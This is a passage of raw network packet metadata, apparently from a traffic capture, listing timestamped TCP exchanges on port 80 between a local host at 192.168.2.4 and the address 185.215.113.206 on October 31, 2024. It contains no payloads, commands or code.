Oct 31, 2024 07:14:26.752774000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.752794027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.752805948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.752815962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.752823114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.752826929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.752850056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.752868891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753087997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753101110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753112078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753139973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753164053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753164053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753320932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753334045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753345966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753369093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753386021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753386021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753398895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753412008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753422976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.753423929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753448963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.753473997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.754240036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.754362106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.797092915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.797116995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.797135115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.797147989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.797159910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.797183037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.797214031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.871589899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.871599913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.871608973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.871649981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.871659994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.871670008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.871711016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.871757984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872121096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872138977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872164965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872196913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872255087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872292042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872298956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872328043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872427940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872438908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872448921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872474909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872498989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872704029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872728109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872736931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.872755051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.872767925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.873006105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.873039007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.873049021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.873050928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.873079062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.873097897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.916078091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.916099072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.916110992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.916121960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.916163921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.916189909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.958867073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.958910942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.958942890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.958973885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.990873098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.990931988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.990942955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.990950108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.990968943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.990977049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.990988016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.990994930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991019964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991306067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991319895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991357088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991390944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991411924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991422892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991466999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991466999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991487980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991498947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991508007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991518021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991528034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991544962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991569042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.991930008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991945028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991956949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991967916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:26.991980076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.992000103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:26.992028952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.035203934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.035214901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.035224915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.035284996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.109852076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.109864950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.109874964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.109914064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.109925032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.109930992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.109935999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.109966993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.109977007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.110209942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110219955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110229015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110399961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.110487938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110498905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110508919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110543966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.110565901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.110760927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110773087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110783100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110814095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.110826015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.110892057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110903025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.110938072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.110945940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.111310005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.111324072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.111340046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.111357927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.111377954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.115034103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.150742054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.150795937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.150830030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.150847912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.154197931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.154246092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.154253960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.154258013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.154268980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.154287100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.154308081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229108095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229172945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229180098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229183912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229196072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229207039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229218006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229233980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229273081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229279041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229288101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229299068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229324102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229338884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229346991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229357958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229393005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229882956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229892969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229902983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.229934931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.229948997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.230128050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.230138063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.230148077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.230163097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.230173111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.230186939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.230217934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.273499012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.273574114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.273596048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.273641109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.273644924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.273685932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.314774036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.314785957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.314796925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.314830065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.314846039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348192930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348242044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348253965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348265886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348293066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348298073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348308086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348310947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348335981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348356962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348530054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348577023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348579884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348601103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348608017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348640919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348656893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348835945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348848104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348860979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348890066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348897934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348903894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348916054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348927975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.348943949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348953962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.348973036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.349536896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.349556923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.349566936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.349582911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.349596024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.392577887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.392621040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.392630100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.392640114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.392770052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.434000969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.434010983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.434021950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.434076071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.467364073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467385054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467396021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467433929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.467472076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.467504025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467515945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467534065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467552900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.467560053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467572927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467578888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.467586040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467598915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467607975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.467612028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.467632055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.467655897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468302011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468313932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468329906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468349934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468378067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468544006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468555927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468601942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468770981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468820095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468822956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468837023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468863964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468883038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468889952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468903065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.468926907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.468940020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.511694908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.511723995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.511733055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.511744022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.511892080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.552989006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.553009987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.553019047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.553081989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.586615086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586627007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586642027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586677074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586688042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586693048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.586718082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.586735964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.586899996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586910009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586924076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586939096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586947918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586951017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.586960077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.586977959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.587002039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.587528944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587538958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587549925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587562084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587573051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587580919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.587608099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.587621927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587632895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587641001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587652922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.587655067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.587673903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.587687016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.588398933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.588448048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.630815029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.630825996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.630836010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.630891085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.672099113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.672108889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.672118902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.672173977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.705704927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705724955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705735922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705777884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.705804110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705812931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.705815077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705840111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.705878973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.705914974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705925941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705948114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705960035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705967903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:27.705996990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:27.705996990 CET	49758	80	192.168.2.4	185.215.113.206
